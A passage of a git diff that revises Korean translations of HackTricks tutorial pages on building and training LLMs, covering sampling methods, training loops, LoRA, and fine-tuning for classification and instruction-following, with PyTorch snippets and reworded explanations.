원하는 응답의 변화를 개선하는 데 도움이 됩니다. -- 온도를 적용한 후, **`softmax`** 함수가 다시 적용되어 남아 있는 모든 토큰의 총 확률이 1이 되도록 합니다. -- 마지막으로, 가장 큰 확률을 가진 토큰을 선택하는 대신, 함수 **`multinomial`**이 **최종 확률에 따라 다음 토큰을 예측하는 데 적용됩니다**. 따라서 토큰 1이 70%의 확률을 가졌다면, 토큰 2는 20%, 토큰 3은 10%의 확률을 가지며, 70%의 경우 토큰 1이 선택되고, 20%의 경우 토큰 2가, 10%의 경우 토큰 3이 선택됩니다. +- 온도를 적용한 후, 모든 남은 토큰이 총 확률 1을 가지도록 **`softmax`** 함수가 다시 적용됩니다. +- 마지막으로, 가장 큰 확률을 가진 토큰을 선택하는 대신, 함수 **`multinomial`**이 **최종 확률에 따라 다음 토큰을 예측하는 데 적용됩니다**. 따라서 토큰 1이 70%의 확률을 가졌다면, 토큰 2는 20%, 토큰 3은 10%의 확률을 가지며, 70%의 경우 토큰 1이 선택되고, 20%의 경우 토큰 2가 선택되며, 10%의 경우는 토큰 3이 선택됩니다. ```python # Generate text function def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): @@ -590,19 +592,19 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> `top-k`의 일반적인 대안으로 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)라는 것이 있으며, 이는 핵심 샘플링으로도 알려져 있습니다. 이는 가장 높은 확률을 가진 k 샘플을 얻는 대신, 결과로 나온 **어휘**를 확률에 따라 정리하고 **가장 높은 확률부터 가장 낮은 확률까지** 합산하여 **임계값에 도달할 때까지** 진행합니다. +> `top-k`의 일반적인 대안으로 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)라는 것이 있으며, 이는 핵심 샘플링으로도 알려져 있습니다. 이는 가장 높은 확률을 가진 k 샘플을 얻는 대신, 결과로 나온 모든 **어휘**를 확률에 따라 정리하고 **가장 높은 확률에서 가장 낮은 확률까지** 합산하여 **임계값에 도달할 때까지** 진행합니다. > -> 그런 다음, **상대 확률에 따라** 어휘의 **단어들만** 고려됩니다. +> 그런 다음, **어휘의 단어들만** 상대 확률에 따라 고려됩니다. > > 이는 각 경우에 따라 최적의 k가 다를 수 있으므로 `k` 샘플의 수를 선택할 필요 없이 **오직 임계값만** 필요하게 합니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않습니다._ > [!TIP] > 생성된 텍스트를 개선하는 또 다른 방법은 이 예제에서 사용된 탐욕적 검색 대신 **Beam search**를 사용하는 것입니다.\ -> 탐욕적 검색과 달리, 각 단계에서 가장 확률이 높은 다음 단어를 선택하고 단일 시퀀스를 구축하는 대신, **beam search는 각 단계에서 상위 𝑘 k의 점수가 높은 부분 시퀀스**(이를 "beams"라고 함)를 추적합니다. 여러 가능성을 동시에 탐색함으로써 효율성과 품질의 균형을 맞추어, 탐욕적 접근 방식으로 인해 조기 비최적 선택으로 놓칠 수 있는 **더 나은 전체** 시퀀스를 찾을 가능성을 높입니다. +> 탐욕적 검색과 달리, 각 단계에서 가장 확률이 높은 다음 단어를 선택하고 단일 시퀀스를 구축하는 대신, **beam search는 각 단계에서 상위 𝑘 k의 점수가 높은 부분 시퀀스**(이것을 "beams"라고 함)를 추적합니다. 여러 가능성을 동시에 탐색함으로써 효율성과 품질의 균형을 맞추어, 탐욕적 접근 방식으로 인해 조기 비최적 선택으로 놓칠 수 있는 **더 나은 전체** 시퀀스를 찾을 가능성을 높입니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않습니다._ ### Loss functions @@ -635,11 +637,11 @@ break return total_loss / num_batches ``` > [!TIP] -> **그래디언트 클리핑**은 **훈련 안정성**을 향상시키기 위해 큰 신경망에서 사용되는 기술로, 그래디언트 크기에 대한 **최대 임계값**을 설정합니다. 그래디언트가 이 미리 정의된 `max_norm`을 초과하면, 모델의 매개변수 업데이트가 관리 가능한 범위 내에 유지되도록 비례적으로 축소되어 폭발하는 그래디언트와 같은 문제를 방지하고 보다 통제되고 안정적인 훈련을 보장합니다. +> **그래디언트 클리핑**은 **훈련 안정성**을 향상시키기 위해 큰 신경망에서 사용되는 기술로, 그래디언트 크기에 대한 **최대 임계값**을 설정합니다. 그래디언트가 이 미리 정의된 `max_norm`을 초과하면, 모델의 매개변수에 대한 업데이트가 관리 가능한 범위 내에 유지되도록 비례적으로 축소되어, 그래디언트 폭발과 같은 문제를 방지하고 보다 통제되고 안정적인 훈련을 보장합니다. > -> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하십시오._ +> _이 개선 사항은 이전 코드에 포함되어 있지 않음을 유의하세요._ > -> 다음 예제를 확인하십시오: +> 다음 예제를 확인하세요:
@@ -647,15 +649,15 @@ return total_loss / num_batches 함수 `create_dataloader_v1`와 `create_dataloader_v1`는 이전 섹션에서 이미 논의되었습니다. -여기서 90%의 텍스트가 훈련에 사용되고 10%가 검증에 사용된다는 점을 주목하십시오. 두 세트는 2개의 서로 다른 데이터 로더에 저장됩니다.\ +여기서 90%의 텍스트가 훈련에 사용되고 10%가 검증에 사용된다는 점을 주목하세요. 두 세트는 2개의 서로 다른 데이터 로더에 저장됩니다.\ 때때로 데이터 세트의 일부는 모델 성능을 더 잘 평가하기 위해 테스트 세트로 남겨지기도 합니다. 두 데이터 로더는 동일한 배치 크기, 최대 길이, 스트라이드 및 작업자 수(이 경우 0)를 사용합니다.\ 주요 차이점은 각 데이터 로더에서 사용하는 데이터이며, 검증자는 마지막 데이터를 버리지 않으며 검증 목적에 필요하지 않기 때문에 데이터를 섞지 않습니다. -또한 **스트라이드가 컨텍스트 길이만큼 크다는** 사실은 훈련 데이터에 사용되는 컨텍스트 간에 겹침이 없음을 의미합니다(과적합을 줄이지만 훈련 데이터 세트도 줄입니다). +또한 **스트라이드가 컨텍스트 길이만큼 크다는** 사실은 훈련 데이터에 사용되는 컨텍스트 간에 겹침이 없음을 의미합니다(과적합을 줄이지만 훈련 데이터 세트도 줄어듭니다). -게다가, 이 경우 배치 크기가 2로 설정되어 데이터를 2개의 배치로 나누며, 이는 병렬 처리를 허용하고 배치당 소비를 줄이는 것이 주요 목표입니다. +더욱이, 이 경우 배치 크기는 2로 데이터를 2개의 배치로 나누며, 이의 주요 목표는 병렬 처리를 허용하고 배치당 소비를 줄이는 것입니다. ```python train_ratio = 0.90 split_idx = int(train_ratio * len(text_data)) @@ -686,7 +688,7 @@ num_workers=0 ``` ## Sanity Checks -목표는 훈련을 위한 충분한 토큰이 있는지, 형태가 예상한 것인지 확인하고, 훈련 및 검증에 사용된 토큰 수에 대한 정보를 얻는 것입니다: +목표는 훈련을 위한 충분한 토큰이 있는지, 형태가 예상한 대로인지 확인하고, 훈련 및 검증에 사용된 토큰 수에 대한 정보를 얻는 것입니다: ```python # Sanity checks if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: @@ -721,7 +723,7 @@ print("All tokens:", train_tokens + val_tokens) ``` ### 훈련 및 사전 계산을 위한 장치 선택 -다음 코드는 사용할 장치를 선택하고 훈련 손실 및 검증 손실을 계산합니다(아직 아무것도 훈련하지 않은 상태에서) 시작점으로서. +다음 코드는 사용할 장치를 선택하고 훈련 손실 및 검증 손실(아직 아무것도 훈련하지 않은 상태에서)을 시작점으로 계산합니다. ```python # Indicate the device to use @@ -748,19 +750,19 @@ print("Validation loss:", val_loss) ``` ### Training functions -함수 `generate_and_print_sample`는 컨텍스트를 받아 모델이 그 시점에서 얼마나 좋은지에 대한 느낌을 얻기 위해 몇 개의 토큰을 생성합니다. 이는 `train_model_simple`에 의해 각 단계에서 호출됩니다. +함수 `generate_and_print_sample`는 컨텍스트를 받아 모델이 그 시점에서 얼마나 좋은지에 대한 느낌을 얻기 위해 일부 토큰을 생성합니다. 이는 `train_model_simple`에 의해 각 단계에서 호출됩니다. 함수 `evaluate_model`은 훈련 함수에 지시된 만큼 자주 호출되며, 모델 훈련 시점에서 훈련 손실과 검증 손실을 측정하는 데 사용됩니다. 그런 다음 큰 함수 `train_model_simple`이 실제로 모델을 훈련합니다. 이 함수는 다음을 기대합니다: -- 훈련 데이터 로더 (훈련을 위해 이미 분리되고 준비된 데이터) +- 훈련 데이터 로더(훈련을 위해 이미 분리되고 준비된 데이터) - 검증자 로더 - 훈련 중 사용할 **최적화기**: 이는 그래디언트를 사용하고 손실을 줄이기 위해 매개변수를 업데이트하는 함수입니다. 이 경우, 보시다시피 `AdamW`가 사용되지만 더 많은 것이 있습니다. - `optimizer.zero_grad()`는 각 라운드에서 그래디언트를 재설정하기 위해 호출되어 누적되지 않도록 합니다. -- **`lr`** 매개변수는 **학습률**로, 모델의 매개변수를 업데이트할 때 최적화 과정에서 **단계의 크기**를 결정합니다. **작은** 학습률은 최적화기가 **가중치에 대한 작은 업데이트**를 수행하게 하여 더 **정확한** 수렴을 이끌 수 있지만 훈련 속도를 **느리게** 할 수 있습니다. **큰** 학습률은 훈련 속도를 높일 수 있지만 손실 함수의 최소값을 **넘어버릴 위험**이 있습니다 (**손실 함수가 최소화되는 지점을 **넘어** 버림). -- **Weight Decay**는 큰 가중치에 대해 패널티를 부여하는 추가 항을 추가하여 **손실 계산** 단계를 수정합니다. 이는 최적화기가 데이터를 잘 맞추는 것과 모델을 단순하게 유지하여 머신러닝 모델에서 과적합을 방지하는 것 사이의 균형을 맞추도록 유도합니다. -- L2 정규화가 있는 SGD와 같은 전통적인 최적화기는 가중치 감소를 손실 함수의 그래디언트와 결합합니다. 그러나 **AdamW** (Adam 최적화기의 변형)는 가중치 감소를 그래디언트 업데이트와 분리하여 더 효과적인 정규화를 이끌어냅니다. +- **`lr`** 매개변수는 **학습률**로, 모델의 매개변수를 업데이트할 때 최적화 과정에서 **취하는 단계의 크기**를 결정합니다. **작은** 학습률은 최적화기가 가중치에 **더 작은 업데이트**를 하게 하여 더 **정확한** 수렴을 이끌 수 있지만 훈련 속도를 **느리게** 할 수 있습니다. **큰** 학습률은 훈련 속도를 높일 수 있지만 손실 함수의 최소값을 **넘어버릴 위험**이 있습니다(**손실 함수가 최소화되는 지점을 넘어 점프**). +- **Weight Decay**는 큰 가중치에 패널티를 부여하는 추가 항을 추가하여 **손실 계산** 단계를 수정합니다. 이는 최적화기가 데이터에 잘 맞추면서 모델을 단순하게 유지하여 머신러닝 모델에서 과적합을 방지하기 위해 어떤 단일 특성에 너무 많은 중요성을 부여하지 않도록 유도합니다. +- SGD와 같은 전통적인 최적화기는 L2 정규화와 함께 가중치 감소를 손실 함수의 그래디언트와 결합합니다. 그러나 **AdamW**(Adam 최적화기의 변형)는 가중치 감소를 그래디언트 업데이트와 분리하여 더 효과적인 정규화를 이끌어냅니다. - 훈련에 사용할 장치 - 에포크 수: 훈련 데이터를 반복하는 횟수 - 평가 빈도: `evaluate_model`을 호출하는 빈도 @@ -830,8 +832,8 @@ model.train() # Back to training model applying all the configurations > [!TIP] > 학습 속도를 개선하기 위해 **선형 워밍업** 및 **코사인 감소**라는 몇 가지 관련 기술이 있습니다. > -> **선형 워밍업**은 초기 학습 속도와 최대 학습 속도를 정의하고 각 에포크 후에 일관되게 업데이트하는 것입니다. 이는 훈련을 작은 가중치 업데이트로 시작하면 모델이 훈련 단계에서 큰 불안정한 업데이트를 만날 위험이 줄어들기 때문입니다.\ -> **코사인 감소**는 **워밍업** 단계 이후에 반 코사인 곡선을 따라 **학습 속도를 점진적으로 줄이는** 기술로, 가중치 업데이트를 느리게 하여 **손실 최소값을 초과할 위험을 최소화**하고 후속 단계에서 훈련의 안정성을 보장합니다. +> **선형 워밍업**은 초기 학습 속도와 최대 학습 속도를 정의하고 각 에포크 후에 일관되게 업데이트하는 것입니다. 이는 작은 가중치 업데이트로 훈련을 시작하면 모델이 훈련 단계에서 큰 불안정한 업데이트를 만날 위험이 줄어들기 때문입니다.\ +> **코사인 감소**는 **워밍업** 단계 이후에 반 코사인 곡선을 따라 학습 속도를 **점진적으로 줄이는** 기술로, 가중치 업데이트를 느리게 하여 **손실 최소값을 초과할 위험을 최소화**하고 후속 단계에서 훈련의 안정성을 보장합니다. > > _이러한 개선 사항은 이전 코드에 포함되어 있지 않다는 점에 유의하세요._ @@ -931,11 +933,14 @@ model.eval() # Put in eval mode ``` ## GPT2 가중치 로드 -로컬에서 GPT2 가중치를 로드하는 두 개의 간단한 스크립트가 있습니다. 두 경우 모두 로컬에 리포지토리 [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) 를 클론할 수 있습니다. 그런 다음: +로컬에서 GPT2 가중치를 로드하는 두 개의 간단한 스크립트가 있습니다. 두 경우 모두 [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) 리포지토리를 로컬에 클론한 후: -- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) 는 모든 가중치를 다운로드하고 OpenAI 형식을 우리 LLM에서 기대하는 형식으로 변환합니다. 이 스크립트는 필요한 구성과 프롬프트 "Every effort moves you"로 준비되어 있습니다. -- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) 는 로컬에서 GPT2 가중치를 로드할 수 있게 해줍니다 (단지 `CHOOSE_MODEL` 변수를 변경하면 됩니다) 그리고 몇 가지 프롬프트에서 텍스트를 예측합니다. +- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py)는 모든 가중치를 다운로드하고 OpenAI 형식을 우리 LLM에서 기대하는 형식으로 변환합니다. 이 스크립트는 필요한 구성과 프롬프트 "Every effort moves you"로 준비되어 있습니다. +- 스크립트 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb)는 로컬에서 GPT2 가중치를 로드할 수 있게 해줍니다(단지 `CHOOSE_MODEL` 변수를 변경하면 됩니다) 그리고 몇 가지 프롬프트에서 텍스트를 예측합니다. ## 참고문헌 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 6950999ae..35ead3f08 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,5 +1,7 @@ # 7.0. LoRA 개선 사항 +{{#include /banners/hacktricks-training.md}} + ## LoRA 개선 사항 > [!TIP] @@ -13,11 +15,11 @@ LoRA는 모델의 **작은 부분**만 변경하여 **대형 모델**을 효율
-2. **원래 모델 가중치 변경 없음**: LoRA는 원래 모델 가중치를 동일하게 유지하고 **새로운 작은 행렬**(A와 B)만 업데이트할 수 있게 합니다. 이는 모델의 원래 지식이 보존되며 필요한 부분만 조정할 수 있다는 점에서 유용합니다. +2. **원래 모델 가중치 변경 없음**: LoRA는 원래 모델 가중치를 동일하게 유지하고, **새로운 작은 행렬**(A와 B)만 업데이트할 수 있게 합니다. 이는 모델의 원래 지식이 보존되며, 필요한 부분만 조정할 수 있다는 점에서 유용합니다. 3. **효율적인 작업별 미세 조정**: 모델을 **새로운 작업**에 적응시키고자 할 때, 나머지 모델은 그대로 두고 **작은 LoRA 행렬**(A와 B)만 훈련하면 됩니다. 이는 전체 모델을 재훈련하는 것보다 **훨씬 더 효율적**입니다. -4. **저장 효율성**: 미세 조정 후, 각 작업에 대해 **전체 새로운 모델**을 저장하는 대신, 전체 모델에 비해 매우 작은 **LoRA 행렬**만 저장하면 됩니다. 이는 너무 많은 저장 공간을 사용하지 않고 모델을 여러 작업에 쉽게 적응시킬 수 있게 합니다. +4. **저장 효율성**: 미세 조정 후, 각 작업에 대해 **전체 새로운 모델**을 저장하는 대신, 전체 모델에 비해 매우 작은 **LoRA 행렬**만 저장하면 됩니다. 이는 많은 작업에 모델을 적응시키는 데 너무 많은 저장 공간을 사용하지 않도록 쉽게 만들어 줍니다. -미세 조정 중 Linear 대신 LoraLayers를 구현하기 위해 여기에서 제안된 코드는 다음과 같습니다 [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): +미세 조정 중 Linear 대신 LoraLayers를 구현하기 위해 여기서 제안된 코드는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb)입니다: ```python import math @@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index f3fc9ec6b..b03ee60da 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,14 +1,16 @@ # 7.1. Fine-Tuning for Classification +{{#include /banners/hacktricks-training.md}} + ## What is -Fine-tuning은 방대한 양의 데이터에서 **일반 언어 패턴**을 학습한 **사전 훈련된 모델**을 가져와서 **특정 작업**을 수행하거나 도메인 특정 언어를 이해하도록 **조정하는** 과정입니다. 이는 모델의 훈련을 더 작고 작업 특정 데이터 세트에서 계속 진행하여 새로운 데이터의 뉘앙스에 더 잘 맞도록 매개변수를 조정할 수 있게 하며, 이미 습득한 폭넓은 지식을 활용할 수 있게 합니다. Fine-tuning은 새로운 모델을 처음부터 훈련할 필요 없이 전문화된 애플리케이션에서 더 정확하고 관련성 있는 결과를 제공할 수 있게 합니다. +Fine-tuning은 방대한 양의 데이터에서 **일반 언어 패턴**을 학습한 **사전 훈련된 모델**을 가져와서 **특정 작업**을 수행하거나 도메인 특정 언어를 이해하도록 **조정하는** 과정입니다. 이는 모델의 훈련을 더 작고 작업 특정 데이터 세트에서 계속 진행하여 새로운 데이터의 뉘앙스에 더 잘 맞도록 매개변수를 조정하면서 이미 습득한 폭넓은 지식을 활용할 수 있게 합니다. Fine-tuning은 새로운 모델을 처음부터 훈련할 필요 없이 전문화된 응용 프로그램에서 더 정확하고 관련성 있는 결과를 제공할 수 있게 합니다. > [!TIP] > LLM을 "이해하는" 텍스트로 사전 훈련하는 것이 상당히 비용이 많이 들기 때문에, 일반적으로 우리가 원하는 특정 작업을 수행하도록 오픈 소스 사전 훈련된 모델을 fine-tune하는 것이 더 쉽고 저렴합니다. > [!TIP] -> 이 섹션의 목표는 이미 사전 훈련된 모델을 fine-tune하는 방법을 보여주는 것입니다. 따라서 새로운 텍스트를 생성하는 대신 LLM은 **주어진 텍스트가 주어진 각 카테고리에 분류될 확률**을 선택하게 됩니다 (예: 텍스트가 스팸인지 아닌지). +> 이 섹션의 목표는 이미 사전 훈련된 모델을 fine-tune하는 방법을 보여주는 것이므로, LLM이 새로운 텍스트를 생성하는 대신 **주어진 텍스트가 주어진 각 카테고리에 분류될 확률**을 선택하도록 합니다 (예: 텍스트가 스팸인지 아닌지). ## Preparing the data set @@ -22,15 +24,15 @@ Fine-tuning은 방대한 양의 데이터에서 **일반 언어 패턴**을 학 - **검증 세트**는 훈련 단계에서 모델의 **하이퍼파라미터**를 fine-tune하고 모델 아키텍처에 대한 결정을 내리는 데 사용되며, 보지 못한 데이터에서 모델의 성능에 대한 피드백을 제공하여 과적합을 방지하는 데 효과적으로 도움을 줍니다. 이는 최종 평가에 편향을 주지 않고 반복적인 개선을 가능하게 합니다. - 이는 이 데이터 세트에 포함된 데이터가 직접적으로 훈련에 사용되지 않지만, 최상의 **하이퍼파라미터**를 조정하는 데 사용되므로, 이 세트는 테스트 세트처럼 모델의 성능을 평가하는 데 사용할 수 없음을 의미합니다. -- 반면, **테스트 세트**는 모델이 완전히 훈련되고 모든 조정이 완료된 **후에만** 사용됩니다; 이는 모델이 새로운 보지 못한 데이터에 일반화할 수 있는 능력에 대한 편향 없는 평가를 제공합니다. 테스트 세트에 대한 이 최종 평가는 모델이 실제 애플리케이션에서 어떻게 수행될 것으로 예상되는지를 현실적으로 나타냅니다. +- 반면, **테스트 세트**는 모델이 완전히 훈련되고 모든 조정이 완료된 **후에만** 사용됩니다; 이는 모델이 새로운 보지 못한 데이터에 일반화할 수 있는 능력에 대한 편향 없는 평가를 제공합니다. 테스트 세트에 대한 이 최종 평가는 모델이 실제 응용 프로그램에서 어떻게 수행될 것으로 예상되는지를 현실적으로 나타냅니다. ### Entries length -훈련 예제가 동일한 길이의 항목(이 경우 이메일 텍스트)을 기대하므로, 가장 큰 항목의 크기만큼 모든 항목을 만들기로 결정하고 `<|endoftext|>`의 ID를 패딩으로 추가했습니다. +훈련 예제가 동일한 길이의 항목(이 경우 이메일 텍스트)을 기대하므로, 가장 큰 항목과 동일한 크기로 모든 항목을 만들기로 결정하였으며, `<|endoftext|>`의 ID를 패딩으로 추가했습니다. ### Initialize the model -오픈 소스 사전 훈련된 가중치를 사용하여 모델을 초기화하여 훈련합니다. 우리는 이미 이전에 이를 수행했으며 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)의 지침을 따르면 쉽게 할 수 있습니다. +오픈 소스 사전 훈련된 가중치를 사용하여 모델을 초기화하여 훈련합니다. 우리는 이미 이를 수행했으며 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)의 지침을 따르면 쉽게 할 수 있습니다. ## Classification head @@ -47,7 +49,7 @@ out_features=num_classes ``` ## 조정할 매개변수 -빠르게 미세 조정하기 위해서는 모든 매개변수를 조정하는 것보다 일부 최종 매개변수만 조정하는 것이 더 쉽습니다. 이는 하위 레이어가 일반적으로 기본 언어 구조와 적용 가능한 의미를 포착한다는 것이 알려져 있기 때문입니다. 따라서, **마지막 레이어만 미세 조정하는 것이 일반적으로 충분하고 더 빠릅니다**. +빠르게 미세 조정하기 위해서는 모든 매개변수를 조정하는 것보다 일부 최종 매개변수만 조정하는 것이 더 쉽습니다. 이는 하위 계층이 일반적으로 적용 가능한 기본 언어 구조와 의미를 포착한다는 것이 알려져 있기 때문입니다. 따라서, **마지막 계층만 미세 조정하는 것이 일반적으로 충분하고 더 빠릅니다**. ```python # This code makes all the parameters of the model unrtainable for param in model.parameters(): @@ -64,9 +66,9 @@ param.requires_grad = True ``` ## Entries to use for training -이전 섹션에서는 LLM이 입력 문장에서 거의 모든 예측된 토큰이 포함되어 있음에도 불구하고(실제로 예측된 것은 끝의 1개뿐임) 모든 예측된 토큰의 손실을 줄이도록 훈련되었습니다. 이는 모델이 언어를 더 잘 이해할 수 있도록 하기 위함입니다. +이전 섹션에서는 LLM이 입력 문장에 거의 모든 예측된 토큰이 포함되어 있음에도 불구하고(실제로 예측된 것은 마지막 1개뿐임) 각 예측된 토큰의 손실을 줄이도록 훈련되었습니다. 이는 모델이 언어를 더 잘 이해할 수 있도록 하기 위함입니다. -이번 경우에는 모델이 스팸인지 아닌지를 예측할 수 있는 것만 중요하므로, 우리는 마지막으로 예측된 토큰만 신경 쓰면 됩니다. 따라서 이전의 훈련 손실 함수를 수정하여 그 토큰만 고려하도록 해야 합니다. +이번 경우에는 모델이 스팸인지 아닌지를 예측할 수 있는 것만 중요하므로, 마지막으로 예측된 토큰만 고려하면 됩니다. 따라서 이전의 훈련 손실 함수를 수정하여 해당 토큰만 고려하도록 해야 합니다. 이는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)에서 다음과 같이 구현됩니다: ```python @@ -108,3 +110,5 @@ return loss ## 참고문헌 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index b0599e46d..77bec55d7 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,11 +1,13 @@ -# 7.2. 지침 따르기 위한 미세 조정 +# 7.2. 지침을 따르기 위한 미세 조정 + +{{#include /banners/hacktricks-training.md}} > [!TIP] > 이 섹션의 목표는 **텍스트 생성만 하는 것이 아니라 지침을 따르도록 이미 사전 훈련된 모델을 미세 조정하는 방법**을 보여주는 것입니다. 예를 들어, 챗봇으로서 작업에 응답하는 것입니다. ## 데이터셋 -LLM을 지침에 따라 미세 조정하기 위해서는 지침과 응답이 포함된 데이터셋이 필요합니다. LLM을 지침에 따라 훈련시키기 위한 다양한 형식이 있습니다. 예를 들어: +LLM을 지침을 따르도록 미세 조정하기 위해서는 지침과 응답이 포함된 데이터셋이 필요합니다. LLM을 지침을 따르도록 훈련하는 데는 다양한 형식이 있습니다. 예를 들어: - Apply Alpaca 프롬프트 스타일 예제: ```csharp @@ -49,7 +51,7 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}" print(model_input + desired_response) ``` -그런 다음, 항상처럼 데이터셋을 훈련, 검증 및 테스트 세트로 분리해야 합니다. +그런 다음, 항상 그렇듯이 데이터셋을 훈련, 검증 및 테스트 세트로 분리해야 합니다. ## 배치 및 데이터 로더 @@ -59,7 +61,7 @@ print(model_input + desired_response) - 모든 샘플을 동일한 길이로 패딩합니다(일반적으로 길이는 LLM을 사전 훈련하는 데 사용된 컨텍스트 길이만큼 큽니다). - 사용자 정의 콜레이트 함수에서 입력을 1만큼 이동시켜 예상 토큰을 생성합니다. - 훈련 손실에서 제외하기 위해 일부 패딩 토큰을 -100으로 교체합니다: 첫 번째 `endoftext` 토큰 이후에 모든 다른 `endoftext` 토큰을 -100으로 대체합니다(왜냐하면 `cross_entropy(...,ignore_index=-100)`를 사용하면 -100인 타겟을 무시하기 때문입니다). -- \[선택 사항\] LLM이 답변을 생성하는 방법만 배우도록 질문에 속하는 모든 토큰을 -100으로 마스킹합니다. Apply Alpaca 스타일에서는 `### Response:`까지 모든 것을 마스킹하는 것을 의미합니다. +- \[선택 사항\] LLM이 답변을 생성하는 방법만 배우도록 질문에 속하는 모든 토큰을 -100으로 마스킹합니다. Alpaca 스타일을 적용하면 `### Response:`까지 모든 것을 마스킹하는 것을 의미합니다. 이렇게 생성한 후, 각 데이터셋(훈련, 검증 및 테스트)을 위한 데이터 로더를 생성할 시간입니다. @@ -72,19 +74,19 @@ print(model_input + desired_response) ## 응답 품질 -이것은 손실 변동을 더 신뢰할 수 있는 분류 미세 조정이 아니므로, 테스트 세트에서 응답의 품질을 확인하는 것도 중요합니다. 따라서 생성된 응답을 모든 테스트 세트에서 수집하고 **그 품질을 수동으로 확인하는** 것이 좋습니다. 잘못된 답변이 있는지 확인합니다(LLM이 응답 문장의 형식과 구문을 올바르게 생성할 수 있지만 완전히 잘못된 응답을 제공할 수 있다는 점에 유의하십시오. 손실 변동은 이러한 행동을 반영하지 않습니다).\ -생성된 응답과 예상 응답을 **다른 LLM에 전달하여 응답을 평가하도록 요청하는** 방식으로 이 검토를 수행할 수도 있습니다. +이것은 손실 변동을 더 신뢰할 수 있는 분류 미세 조정이 아니기 때문에, 테스트 세트에서 응답의 품질을 확인하는 것도 중요합니다. 따라서 모든 테스트 세트에서 생성된 응답을 수집하고 **그 품질을 수동으로 확인**하여 잘못된 답변이 있는지 확인하는 것이 좋습니다(LLM이 응답 문장의 형식과 구문을 올바르게 생성할 수 있지만 완전히 잘못된 응답을 제공할 수 있다는 점에 유의하십시오. 손실 변동은 이러한 행동을 반영하지 않습니다).\ +생성된 응답과 예상 응답을 **다른 LLM에 전달하여 응답을 평가하도록 요청**하는 방식으로 이 검토를 수행할 수도 있습니다. 응답 품질을 검증하기 위해 실행할 다른 테스트: 1. **대규모 다중 작업 언어 이해 (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU는 인문학, 과학 등 57개 주제에 걸쳐 모델의 지식과 문제 해결 능력을 평가합니다. 다양한 난이도에서 이해도를 평가하기 위해 객관식 질문을 사용합니다. 2. [**LMSYS 챗봇 아레나**](https://arena.lmsys.org): 이 플랫폼은 사용자가 서로 다른 챗봇의 응답을 나란히 비교할 수 있도록 합니다. 사용자가 프롬프트를 입력하면 여러 챗봇이 